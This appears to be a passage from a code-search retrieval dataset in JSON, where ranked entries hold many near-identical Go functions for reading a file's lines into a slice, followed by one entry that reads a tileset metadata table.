error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "174d088f2487c28f90b8d7f876da24a1", "score": "0.74410385", "text": "func readLines(path string) ([]string, error) {\n\n\tfile, err := os.Open(path)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "596b17d7b85bd030975e466400ebe855", "score": "0.7429166", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "21c9bbc5a7015ad10f8d17b746469a5a", "score": "0.7426389", "text": "func readLines(fileName string) []string {\n\tfile, err := os.Open(fileName)\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed opening file: %s\", err)\n\t}\n\n\tscanner := bufio.NewScanner(file)\n\tscanner.Split(bufio.ScanLines)\n\tvar lines []string\n\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\n\tdefer file.Close()\n\n\treturn lines\n}", "title": "" }, { "docid": "fe0d6116abf7ffc150d1df79c034f56f", "score": "0.741739", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tcheckErr(err)\n\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "afe4a0bc1ed31cbcd9f55fadc6be2c8a", "score": "0.73682797", "text": "func readLines(filename string, maxLines int) (lines []string, err error) {\n\tf, err := os.Open(filename)\n\tdefer f.Close()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tvalue := strings.TrimSpace(scanner.Text())\n\t\tif value != \"\" {\n\t\t\tlines = append(lines, scanner.Text())\n\t\t\tif maxLines > 0 && maxLines <= len(lines) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn lines, nil\n}", "title": "" }, { "docid": "3523990ea26cf435709958718da2526b", "score": "0.7365603", "text": "func ReadLines(path string) (lines []string, err error) {\n\tvar (\n\t\tfile *os.File\n\t\tpart []byte\n\t\tprefix bool\n\t)\n\n\tif file, err = os.Open(path); err != nil {\n\t\treturn\n\t}\n\n\treader := bufio.NewReader(file)\n\tbuffer := bytes.NewBuffer(make([]byte, 1024))\n\n\tfor {\n\t\tif part, prefix, err = reader.ReadLine(); err != nil {\n\t\t\tbreak\n\t\t}\n\t\tbuffer.Write(part)\n\t\tif !prefix {\n\t\t\tlines = append(lines, buffer.String())\n\t\t\tbuffer.Reset()\n\t\t}\n\t}\n\tif err == io.EOF {\n\t\terr = nil\n\t}\n\treturn\n}", "title": "" }, { "docid": "39eb1b6d8976badac145d073fe61f675", "score": "0.7361512", "text": "func readLines(path string) ([]string, error) {\n \tfile, err := os.Open(path)\n \tif err != nil {\n \treturn nil, err\n \t}\n \tdefer file.Close()\n\n \tvar lines []string\n \tscanner := bufio.NewScanner(file)\n \tfor scanner.Scan() {\n \tlines = append(lines, scanner.Text())\n \t}\n \treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "84bb59441bd921fb7453b0b892f8b494", "score": "0.730667", "text": "func ReadAllLines(filename string) ([]string, error) {\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn lines, nil\n}", "title": "" }, { "docid": "08f9588db27136315b4b745ef18b1a5a", "score": "0.72696733", "text": "func ReadLines(fileName string) ([]string, error) {\n\tvar res []string\n\tvar scanner *bufio.Scanner\n\tfh, err := os.Open(fileName)\n\tif err != nil {\n\t\treturn res, fmt.Errorf(\"failed to read '%s' : %v\", fileName, err)\n\t}\n\n\tif strings.HasSuffix(fileName, \".gz\") {\n\t\tgz, err := gzip.NewReader(fh)\n\t\tif err != nil {\n\t\t\treturn res, fmt.Errorf(\"failed to read '%s' : %v\", fileName, err)\n\t\t}\n\t\tscanner = bufio.NewScanner(gz)\n\t} else {\n\t\tscanner = bufio.NewScanner(fh)\n\t}\n\tfor scanner.Scan() {\n\t\tres = append(res, scanner.Text())\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\treturn res, fmt.Errorf(\"failed to read '%s' : %v\", fileName, err)\n\t}\n\treturn res, nil\n}", "title": "" }, { "docid": "b94cc3aab651f52ba2fc389469d8a9a5", "score": "0.72667646", "text": "func readLines(path string, in io.Reader) ([]string, error) {\n\tif in == nil {\n\t\tfile, err := os.Open(path)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer file.Close()\n\t\tin = file\n\t}\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(in)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "28a34375573b97243cd315142a039e38", "score": "0.72002256", "text": "func readLines(path string) (lines []string, err error) {\n\tvar (\n\t\tfile *os.File\n\t\tpart []byte\n\t\tprefix bool\n\t)\n\tif file, err = os.Open(path); err != nil {\n\t\treturn\n\t}\n\tdefer file.Close()\n\n\treader := bufio.NewReader(file)\n\tbuffer := bytes.NewBuffer(make([]byte, 0))\n\tfor {\n\t\tif part, prefix, err = reader.ReadLine(); err != nil {\n\t\t\tbreak\n\t\t}\n\t\tbuffer.Write(part)\n\t\tif !prefix {\n\t\t\tlines = append(lines, buffer.String())\n\t\t\tbuffer.Reset()\n\t\t}\n\t}\n\tif err == io.EOF {\n\t\terr = nil\n\t}\n\treturn lines, err\n}", "title": "" }, { "docid": "6875ef1586c9cad2a5a5bbc3b1784416", "score": "0.71993726", "text": "func ReadingLines(filename string) []string {\n\tvar result []string\n\tif strings.HasPrefix(filename, \"~\") {\n\t\tfilename, _ = homedir.Expand(filename)\n\t}\n\tfile, err := os.Open(filename)\n\tdefer file.Close()\n\tif err != nil {\n\t\treturn result\n\t}\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tval := scanner.Text()\n\t\tif val == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn result\n\t}\n\treturn result\n}", "title": "" }, { "docid": "e638c3949928115a7bcaa936dcbf7559", "score": "0.71957445", "text": "func (fr *fileReader) Lines() []string {\n\tfile, err := os.Open(fr.path)\n\tif err != nil {\n\t\tfr.err = err\n\t\treturn []string{}\n\t}\n\tvar lines []string\n\tscnr := bufio.NewScanner(file)\n\n\tfor scnr.Scan() {\n\t\tlines = append(lines, scnr.Text())\n\t}\n\n\tif scnr.Err() != nil {\n\t\tfr.err = scnr.Err()\n\t\treturn []string{}\n\t}\n\n\treturn lines\n}", "title": "" }, { "docid": "dfb0e78b97dd0e01312d3c484e38894d", "score": "0.7189684", "text": "func readFileLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif(err != nil){\n\t\tfmt.Print(\"No existe el archivo de lectura.\\n\")\n\t\tos.Exit(1)\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "829555d555661fdc28abb416f63906ef", "score": "0.7185089", "text": "func ReadLines(fileName string) []string {\n\tfile, err := os.Open(fileName)\n\tvar words []string\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Fail opening files %s\", err)\n\t}\n\n\tscanner := bufio.NewScanner(file)\n\tscanner.Split(bufio.ScanLines)\n\n\tfor scanner.Scan() {\n\t\twords = append(words, scanner.Text())\n\t}\n\tfile.Close()\n\treturn words\n}", "title": "" }, { "docid": "d39cf1d24d8a58148faef71d17b17a7e", "score": "0.717486", "text": "func readLines(path string) ([][]rune, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines [][]rune\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, []rune(scanner.Text()))\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "e7ffb80325dbd95ae54456953e72c7c4", "score": "0.71705043", "text": "func readLines(path string) ([]string, error) {\n file, err := os.Open(path)\n if err != nil {\n return nil, err\n }\n defer file.Close()\n var lines []string\n scanner := bufio.NewScanner(file)\n for scanner.Scan() {\n lines = append(lines, scanner.Text())\n }\n return lines, scanner.Err()\n}", "title": "" }, { "docid": "e7ffb80325dbd95ae54456953e72c7c4", "score": "0.71705043", "text": "func readLines(path string) ([]string, error) {\n file, err := os.Open(path)\n if err != nil {\n return nil, err\n }\n defer file.Close()\n var lines []string\n scanner := bufio.NewScanner(file)\n for scanner.Scan() {\n lines = append(lines, scanner.Text())\n }\n return lines, scanner.Err()\n}", "title": "" }, { "docid": "e7ffb80325dbd95ae54456953e72c7c4", "score": "0.71705043", "text": "func readLines(path string) ([]string, error) {\n file, err := os.Open(path)\n if err != nil {\n return nil, err\n }\n defer file.Close()\n var lines []string\n scanner := bufio.NewScanner(file)\n for scanner.Scan() {\n lines = append(lines, scanner.Text())\n }\n return lines, scanner.Err()\n}", "title": "" }, { "docid": "873326b97430ebac37ef663d9098b157", "score": "0.71630293", "text": "func readLines(path string) ([]string, error) {\n \n file, err := os.Open(path)\n if err != nil {\n return nil, err\n \t}\n defer file.Close()\n\n scanner := bufio.NewScanner(file)\n for scanner.Scan() {\n aLines = append(aLines, scanner.Text())\n \t}\n return aLines, scanner.Err()\n}", "title": "" }, { "docid": "c44a5b6eb8bd314bcbab440db5fa4733", "score": "0.7141944", "text": "func ReadLines(file string, callback func(text string) error) error {\n\tf, err := Open(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tif err = callback(scanner.Text()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b06246d38460d5da428204ce5a95fdd3", "score": "0.7131209", "text": "func ReadLines(fn string) []string {\n\tvar final []string\n\tif hasFile, _ := PathExists(fn); !hasFile {\n\t\tlog.Fatalf(\"%s not existed.\", fn)\n\t}\n\tf, err := os.Open(fn)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tbuf := bufio.NewReader(f)\n\tfor {\n\t\tb, errR := buf.ReadBytes('\\n')\n\t\tif errR != nil {\n\t\t\tif errR == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tlog.Fatal(errR.Error())\n\t\t}\n\t\tfinal = append(final, strings.ReplaceAll(string(b), \"\\n\", \"\"))\n\t}\n\treturn final\n}", "title": "" }, { "docid": "76a9e2d1790d36e1fe8690827b2d3320", "score": "0.70852256", "text": "func ReadLinesFile(fil *os.File, cb ReadLinesCallback) (oserr error) {\n\tr := bufio.NewReader(fil)\n\tidx := 0\n\tfor {\n\t\tlin, prefix, errl := r.ReadLine()\n\t\tif prefix {\n\t\t\treturn Err(\"cannot read long line. file = <%s>\", fil.Name())\n\t\t}\n\t\tif errl == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif errl != nil {\n\t\t\treturn Err(\"cannot read line. file = <%s>\", fil.Name())\n\t\t}\n\t\tstop := cb(idx, string(lin))\n\t\tif stop {\n\t\t\tbreak\n\t\t}\n\t\tidx++\n\t}\n\treturn\n}", "title": "" }, { "docid": "6de37130d015141c735d579828eccae7", "score": "0.70289075", "text": "func ParseFileLinesToSlice(filePath string) []string {\n\tf := openFile(filePath)\n\tdefer f.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\tif err := scanner.Err()\n\terr != nil {\n\t\tpanic(err)\n\t}\n\n\treturn lines\n}", "title": "" }, { "docid": "fbab7cae84f417f87458961055a6c610", "score": "0.70278984", "text": "func linesInFile(fh afero.File) []string { // https://www.dotnetperls.com/lines-file-go\n\t// Create new Scanner.\n\tscanner := bufio.NewScanner(fh)\n\tresult := []string{}\n\t// Use Scan.\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\t// Append line to result.\n\t\tresult = append(result, line)\n\t}\n\treturn result\n}", "title": "" }, { "docid": "4073a236e4f031bba86cc12ca2d4db47", "score": "0.70256114", "text": "func GetLines(fileName string) (lines []string) {\n\t// fileName := os.Args[1]\n\n\tfile, err := os.Open(fileName)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\t// fmt.Println(scanner.Text())\n\t\tlines = append(lines, scanner.Text())\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"reading input:\", err)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "9ff4f8a129fc0c6194b4fc2b0fb5960b", "score": "0.69572127", "text": "func readLines(path string) (lines []string, err os.Error) {\n var (\n file *os.File\n part []byte\n prefix bool\n )\n if file, err = os.Open(path); err != nil {\n return\n }\n reader := bufio.NewReader(file)\n buffer := bytes.NewBuffer(make([]byte, 1024))\n for {\n if part, prefix, err = reader.ReadLine(); err != nil {\n break\n }\n buffer.Write(part)\n if !prefix {\n lines = append(lines, buffer.String())\n buffer.Reset()\n }\n }\n if err == os.EOF {\n err = nil\n }\n return\n}", "title": "" }, { "docid": "0ec962a516831aabb25b708cd6516399", "score": "0.69131255", "text": "func ReturnFileLines(filePath string) (linesList []string, err error) {\n\tfile, err := os.Open(filePath)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer CloseFile(file, &err)\n\n\tfileLine := bufio.NewScanner(file)\n\tfor fileLine.Scan() {\n\t\tlinesList = append(linesList, fileLine.Text())\n\t}\n\treturn linesList, err\n}", "title": "" }, { "docid": "54b746de2abd40afa064abd94a55af80", "score": "0.6905056", "text": "func readLines(path string) (lines []string, err error) {\n var (\n file *os.File\n part []byte\n prefix bool\n )\n if file, err = os.Open(path); err != nil {\n return\n }\n defer file.Close()\n\n reader := bufio.NewReader(file)\n buffer := bytes.NewBuffer(make([]byte, 0))\n for {\n if part, prefix, err = reader.ReadLine(); err != nil {\n break\n }\n buffer.Write(part)\n if !prefix {\n lines = append(lines, buffer.String())\n buffer.Reset()\n }\n }\n if err == io.EOF {\n err = nil\n }\n return\n}", "title": "" }, { "docid": "ecc01bfb03e99fa44fe737937565d0ea", "score": "0.6904037", "text": "func readLines() (lines []string) {\n\t// Avoid a panic accessing os.Args[1]\n\tif len(os.Args) != 2 {\n\t\tfmt.Fprintln(os.Stderr, \"Usage: ./XXX <file>\") // XXX\n\t\tos.Exit(1)\n\t}\n\n\t// Read data from a file given as a command line argument\n\tdata, err := ioutil.ReadFile(os.Args[1])\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\tos.Exit(1)\n\t}\n\n\t// Parse the lines of the file from data\n\tlines = strings.Split(string(data), \"\\n\")\n\n\t// Remove the empty string after the final \\n\n\tlines = lines[:len(lines)-1]\n\n\treturn\n}", "title": "" }, { "docid": "bba6f44209c6b3176745b4840a93bca7", "score": "0.68801415", "text": "func LoadFileLines(f string) ([]string, error) {\n\tresolvedFile, err := resolveFilePath(f)\n\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\n\tfile, err := os.Open(resolvedFile)\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\n\tscanner := bufio.NewScanner(file)\n\tscanner.Split(bufio.ScanLines)\n\n\tvar lines []string\n\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\n\treturn lines, nil\n}", "title": "" }, { "docid": "4a316764255c001cd7cc357b793ffd91", "score": "0.6879527", "text": "func readLines() ([]string, error) {\n\tfile, err := os.Open(\"/config/credfile\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "fb71208ab76dec705b10dccfdb6e4b97", "score": "0.6873685", "text": "func readLines() (lines []string) {\n\t// Avoid a panic accessing os.Args[1]\n\tif len(os.Args) != 2 {\n\t\tfmt.Fprintln(os.Stderr, \"Usage: ./problem040 <file>\")\n\t\tos.Exit(1)\n\t}\n\n\t// Read data from a file given as a command line argument\n\tdata, err := ioutil.ReadFile(os.Args[1])\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\tos.Exit(1)\n\t}\n\n\t// Parse the lines of the file from data\n\tlines = strings.Split(string(data), \"\\n\")\n\n\t// Remove the empty string after the final \\n\n\tlines = lines[:len(lines)-1]\n\n\treturn\n}", "title": "" }, { "docid": "e243a44b4c10878cc5f40b5e9464ca8c", "score": "0.68351525", "text": "func readLines(path string) ([]int, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []int\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tnumber, _ := stringToInt(scanner.Text())\n\t\tlines = append(lines, number)\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "b2f412e2ed965782e71fa2ef60658e47", "score": "0.6824819", "text": "func ReadAllLines(path string) []string {\n\treturn strings.Split(ReadAllText(path), \"\\n\")\n}", "title": "" }, { "docid": "c9d57f600bc51e6b3db00fcf4e0de68f", "score": "0.6821972", "text": "func read(fileName string) (lines []string) {\n\tfile, err := os.Open(fileName)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to open file: \", err)\n\t}\n\n\tmylines := make([]string, 1) //Create slice with minimum 1 to hold lines\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() { //Read each line of the file\n\t\tline := scanner.Text() //Get line\n\t\tif line != \"\" { //If line is not empty then add to collection\n\t\t\tmylines = append(mylines, line)\n\t\t}\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\tError.Println(\"Error scanning file.\")\n\t}\n\tfile.Close()\n\n\treturn mylines\n}", "title": "" }, { "docid": "501f272f2c702c849611a78c903d0481", "score": "0.6765266", "text": "func ReadLines(r io.Reader) ([]string, error) {\n\tscanner := bufio.NewScanner(r)\n\tscanner.Split(bufio.ScanLines)\n\tvar result []string\n\tfor scanner.Scan() {\n\t\tresult = append(result, scanner.Text())\n\t}\n\treturn result, scanner.Err()\n}", "title": "" }, { "docid": "d16936684be9748cb5192fb6ec10b436", "score": "0.6670701", "text": "func FileLines(p string) (lines []string) {\n\tf := FileScanner(p)\n\tfor f.Scan() {\n\t\tlines = append(lines, f.Text())\n\t}\n\tf.Close()\n\treturn lines\n}", "title": "" }, { "docid": "f5aba811085568ff4392d441119572b7", "score": "0.66689265", "text": "func ReadLinesBytes(file string, callback func(bytes []byte) error) error {\n\tf, err := Open(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tif err = callback(scanner.Bytes()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ad1b0df1176ea344f873032e97671381", "score": "0.6668081", "text": "func ReadLines(reader io.Reader) Filter {\n\treturn FilterFunc(func(arg Arg) error {\n\t\treturn splitIntoLines(reader, arg)\n\t})\n}", "title": "" }, { "docid": "f656f71c2c5aee9becbdc0a341fcb232", "score": "0.6631345", "text": "func (aoc *AdventOfCode) ReadLines() []string {\n\treturn SplitLines(aoc.ToString())\n}", "title": "" }, { "docid": "5754b3e1b261abebaa5e20d91085c1c9", "score": "0.6628452", "text": "func (c *ConfigFile) getLines() []string {\n\tfile := open(c.Name)\n\tdefer file.Close()\n\n\tdata := make([]byte, 4096)\n\tfile.Read(data)\n\tlines := strings.Split(string(data), \"\\n\")\n\n\t// Check for empty byte array\n\ti, _ := strconv.Atoi(lines[len(lines)-1])\n\tif i == 0 {\n\t\tlines = lines[:len(lines)-1]\n\t}\n\n\treturn lines[:]\n}", "title": "" }, { "docid": "3c02607b852bf39f9dca3de7eb1864c4", "score": "0.6611223", "text": "func ReadFileLineByLine(path string, delegate delegateString) {\n\tfile, err := os.Open(path)\n\tcheckErr.CheckErr(err)\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tdelegate(scanner.Text())\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "21c3ed65baac51f8f12ca0a0f662db77", "score": "0.65961474", "text": "func File2lines(filePath string) []string {\n\tf, err := os.Open(filePath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer f.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\tfmt.Fprintln(os.Stderr, err)\n\t}\n\n\treturn lines\n}", "title": "" }, { "docid": "566c3cd8e6153e27f54bbe938f9fdc3c", "score": "0.65729016", "text": "func ReadFile(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\n\tscanner.Split(bufio.ScanLines)\n\n\tvar lines []string\n\n\tfor scanner.Scan() {\n\t\tvar line = scanner.Text()\n\t\tlines = append(lines, line)\n\t}\n\n\treturn lines, nil\n}", "title": "" }, { "docid": "21ca0e3562f041bc359cf24e63770fa1", "score": "0.65430963", "text": "func FileToLines(filePath string) []string {\n\tf, err := os.Open(filePath)\n\tCheck(err)\n\tdefer f.Close()\n\tscanner := bufio.NewScanner(f)\n\tvar lines []string\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\tCheck(scanner.Err())\n\treturn lines\n}", "title": "" }, { "docid": "98108f75d7e7dcfd11102d7ad8c1138a", "score": "0.6540159", "text": "func parseLines(fileName string) []string {\n\tfile, err := os.Open(fileName)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tvar contents []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tcontents = append(contents, scanner.Text())\n\t}\n\n\treturn contents\n}", "title": "" }, { "docid": "a17b97df32b9988f1090202c2a8c8eaf", "score": "0.65083873", "text": "func ReadFile(filename string) (line []string, err error) {\n\tline = make([]string, 0)\n\tfile, err := os.Open(filename)\n\tdefer file.Close()\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tline = append(line, scanner.Text())\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "f61d2b850ce4773480dfd77911ce5e11", "score": "0.6468466", "text": "func ReadFile(filename string) []string {\n\tfh, err := os.Open(filename)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar lines []string\n\n\tscanner := bufio.NewScanner(fh)\n\tfor scanner.Scan() {\n\t\tline := strings.TrimSpace(scanner.Text())\n\t\tif len(line) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tlines = append(lines, line)\n\t}\n\n\treturn lines\n}", "title": "" } ]
c1c1fe893105d0239ad9134e7d930b58
GetMetadata reads the metadata table into Metadata, casting their values into the appropriate type
[ { "docid": "9ac40c03ea59c40038ab8eddc356efce", "score": "0.6745373", "text": "func (ts *Tileset) GetMetadata() (*Metadata, error) {\n\tmd := &Metadata{}\n\n\trows, err := ts.database.Query(\"SELECT * FROM metadata WHERE value is not ''\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tvar key, value string\n\tfor rows.Next() {\n\t\tif err := rows.Scan(&key, &value); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\tmd.Name = value\n\t\tcase \"description\":\n\t\t\tmd.Description = value\n\t\tcase \"attribution\":\n\t\t\tmd.Attribution = value\n\t\tcase \"version\":\n\t\t\tmd.Version = value\n\t\tcase \"format\":\n\t\t\tmd.Format = stringToTileFormat(value)\n\t\tcase \"minzoom\":\n\t\t\tmd.MinZoom, err = strconv.Atoi(value)\n\t\tcase \"maxzoom\":\n\t\t\tmd.MaxZoom, err = strconv.Atoi(value)\n\t\tcase \"center\":\n\t\t\tmd.Center, err = stringToCenter(value)\n\t\tcase 